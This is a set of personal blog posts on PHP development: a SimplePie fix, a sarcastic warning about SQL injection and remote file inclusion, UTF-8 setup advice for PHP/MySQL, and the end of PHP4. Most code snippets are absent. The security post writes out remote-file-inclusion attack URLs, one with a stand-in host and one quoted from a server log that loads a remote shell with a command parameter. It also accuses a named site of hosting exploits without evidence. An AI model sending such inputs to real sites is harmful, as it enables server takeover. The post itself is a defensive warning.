soledad penadés

repeat 4[fd 100 rt 90]

If you have errors like these ones…

locate the function get_enclosures(), then add this before anything else:

This is for version 1.1!

I would post this in their support forums if only I hadn't to sign into yahoo groups and register to their support forums which obviously are for members only.

I also read that Ryan, one of SimplePie's developers, is working two full time jobs - it didn't sound very nice to me, so I hope this helps him alleviate from answering some questions. And by the way, Ryan, feel free to incorporate that code into simplepie if you think it's good enough :-)

It works like that: you write dynamic code and allow parameters to be sent to your code. Then without any type of filtering or validation you use those raw values as parameters for your code.

I'll give you two examples so that you can get the result almost instantly:

Example 1: open up your database

The script would be called as news.php?id=1, which would mean "give me the news whose id equals 1"

Then in news.php you have something like

This will make it easy even for level 1 script kiddies to practise their exploiter skills. Nothing too serious, you know, they may freely read and modify your data. Child games!

To make sure they get the maximum benefit of their stay in your server, don't forget to store unencrypted passwords, so when they copy the users table, they can try to log into all the users' accounts since most of the people use the same password for every online service.

Example 2: open up your file system (and everything else)

You've been told about the advantages of using include files. You not only are using include() for including the header and footer, but you load each section using something like index.php?section=name_of_the_section

Then in index.php you have this:

Usually it would be used with values of $_GET['section'] such as 'clients.htm', 'about_us.htm', 'our_company.htm'… You name it! But what would you say if a script kiddie went creative and instead of just entering a simple filename in your server, decided to add an http:// in front of it?

Like for example: index.php?section=http://astrangeserver/somewhere/including/usually/an/image.jpg

Php will kindly load whatever is in that url and evaluate the contents as php code.

What, evaluate an image? You'll be surprised.

Try to open that image in your browser. Oh, image.jpg "can't be displayed by the browser because it contains errors". Really? Of course, because it's not meant to be displayed, but to be executed. In fact it is a php file which contains code for converting your innocent index.php in a complete control panel from where a cracker can install more stuff in your server, or even try to deface other websites.

So php loads it, evaluates it and suddenly there's a bunch of code ready to be executed at the cracker's will.

Isn't it brilliant, amazing, great?

… obviously not!

It's like eating food from dodgy take-aways without thinking twice. You never know what you eat!

I personally I'm bored to death of finding in the server logs request such as index.php?id=http://www.antiqbook.co.uk/map/.xpl/lila.jpg?&cmd=cat%20bugado

And it just shows there's still people tacitly allowing undesirable behaviour to happen in their servers, without giving a damn about that, or even worse, without knowing about that. I wonder if the antiqbook administrators know about this directory with plenty of exploits, remote shells and what not in their server. Or maybe they are just a fake company.

So do us a favour: filter and validate your url parameters and stop contributing to illegal activities such as spam. Thank you very much.

Following the discussion in the previous post (Reasons for using UTF-8) I thought it could be interesting to gather a series of steps needed to get a UTF-8 friendly environment.

I'm going to focus on php and mysql, because using mysql and ruby/rails and utf8 tends to be kind of easier (specially since newer Rails versions suggest mysql which charset to use when connecting automagically for you), but the advice can be applied to both platforms in any case.

In your preferred editor

Make sure your editor is set to use UTF-8, specially when editing templates and any other file which is used for building output content. If you include any non-ASCII content (for example, accented words) and they are mixed with more UTF-8 content (from other templates or sources), things will get messed up.

In your html/xml code

Make sure the document's charset is specified.

In HTML documents you would accomplish this with the content/type meta tag, which you should place in the header:

In XML documents this is done in the XML declaration, which needs to be placed at the immediate beginning of the document:

I have heard recommendations for placing the page title immediately after the Content-type has been declared, so that browsers can switch to the right charset immediately if the page title includes any non-ASCII code, but it sounds a little urban myth to me.

I have also seen people recommending to specify the encoding in every form you have in your site, but I haven't found any difference between doing it or not.

In Apache

Make sure the content is being served as UTF-8. A good AddDefaultCharset utf-8 should do. You don't need to change all your hosted content into UTF-8 if you don't want to, charsets can be configured per virtual hosts as well.

In the database

Make sure mysql is configured to use UTF-8 at server level.

Before issuing any other query, and right after you've connected to the server, execute

It seems otherwise mysql will not recognize properly the character set that the client is using (!!) and will return bad data.

Of course, when you create the tables, make sure that every column which can include text data (this includes TEXT, VARCHAR, etc) is using utf8 as well.

In php

I rarely need to send a header specifying the content-type, but if things are not working totally fine you could also try to manually specify the content type with the header:

Or application/xml, whatever you need!

In Flash (or Flex)

Do not use systemCodepage. Flash assumes XML is UTF-8 so if everything else has been properly set up, Flash will be served UTF-8 content, which is what it expects, and we'll be happy :-)

One more thing

Although generally it's a good idea to run a validator, it's even a better idea if you're doing utf-8 stuff and want to make sure you're not outputting bad stuff inadvertently. Validators are picky (even more if we speak about XML validators) and will cheekily reveal your inappropriate characters.

Missing something? Anything wrong?

I'm not an expert and I may easily have forgotten something so if you think something is missing or plainly wrong you know what to do ;-)

And before you ask - I don't have any experience with Pylons, Django, TurboGear, Zope or whatever your favourite Python framework is, so feel free to share with us your experience.

The subject on encoding is quite confusing and at the beginning one does never really know what are the differences between encoding types, and most importantly, what are the consequences of choosing ISO-8859 instead of UTF-8, so now that I begin to have more arguments than the Trust me, I think this is the right decision one, I want to share with you what I know - and of course, please correct me where I am wrong!

The main problem is the development platform, which happens to be Windows most of the times - and its default encoding, which seems to be ISO-8859. Since the majority of web developers are in countries which have more than enough with ISO-8859 (Europe, North America, etc…), and that majority also tend to use Windows, their servers are set to use ISO-8859, the databases are created using ISO-8859, and the code and templates and by extension the pages come out automatically with ISO-8859 (although I have also noticed that Eclipse sets the default encoding to CP-1252, in every platform - which is something that keeps puzzling me!).

It is fine if you don't expect to have any non ISO-8859 in your content ever, but that only happens in very specific cases - and often you are the only person entering content. But most of the websites you build will probably allow people from all around the world to register and submit their content, and here's where the fun begins:

1. Even if the site is in English, people's names are still in their own language. Let them enter their name with their characters and don't force them to pseudotranslate them into English. Obviously, the name is just an example. It could also be book and movie titles, or music albums, etc…
2. If you aggregate feeds from other sites, they most probably will come in UTF-8. If your site is not in UTF-8, you'll have to either use utf8_decode (in php) or convert that text into html entities.
3. If you use Flash with dynamic content (which you generate), it will expect the content to show up encoded in UTF-8. There's no way of changing that unless you mess around with the evil systemCodepage setting (but that's a bad idea)
4. If you use AJAX, you need to return UTF-8 content. Just like the Flash case
5. If you expect to use the content of your non-UTF-8 website in other applications which do support UTF-8 (for example, a reports system) but are not web based and you used the html entities trick for storing UTF-8 content in your database, you'll have to convert back the html entities into UTF-8 or sort of it (and fingers crossed!)

Considering all the above situations, it's easy to see that it's better to use UTF-8 straight on from the beginning.

In that case:

1. People can register using their normal name. Japanese people (for example) will be happy.
2. Aggregate everything you want and don't worry about external feeds having characters that your page encoding doesn't include
3. Flash will be happy. Now you just need to make sure to embed all the characters you may need - but that's another story
4. AJAX will be happy too
5. Generate reports without having to mess with html entities. What you query is what you need.

… and the best of all is that as long as your system is properly set up, you don't need to do anything special about UTF-8 in your code. You just need to think about the content, and stop worrying about utf8_encode's or utf8_decode's, htmlentities and all that mess!

Did I convince you to use UTF-8?

Since the PHP group announced they weren't going to support php4 any more when 2007 ends, I have been watching with amusement the reactions this fact has sparked. In general, it feels quite similar to previous public announcements of product discontinuing, such as Windows 98, or Firefox for windows 98, etc.

The most absurd reactions come from very angry people which not only demand support for that product to be extended indefinitely but also do not use the product at all or do not have any decision power about the use of that product in their organisation or environment. They can fill in pages and pages writing infuriating comments about how evil is vendor X for not supporting product Y, and how bad is it for everybody, without giving any solid reason usually.

And the rest of the blame is equally distributed amongst sys admins and developers. Sys admins say they can't upgrade to php5 because the applications running in their systems are not designed with php5 in mind. Developers say they can't develop for php5 because their sys admins do not offer support for php5.

I say stop blaming each other.

It's not that hard to migrate an application to php5, unless it's a complete disaster. For instance, I saw one which had some functions named public and private. Honest! Those functions were repeatedly called thorough the whole code base. Obviously when trying to run this with php5, it failed spectacularly. (Somebody tried to fix it replacing every public with pub and private with priv, and then it broke other parts of the application, but that's another story…)

Personally, I wished every host in Earth had moved to php5. I never use php4 in my projects and it's really annoying to have to downgrade the code for distributing it publicly. It also breaks my heart to have to emulate some php5 functions when working with legacy php4 code for php4-running servers, such as for example array_combine.

And at the end I wonder, can we take seriously a developer or a sys admin which have not learnt about php5 yet, even if it was released more than three years ago? I can't.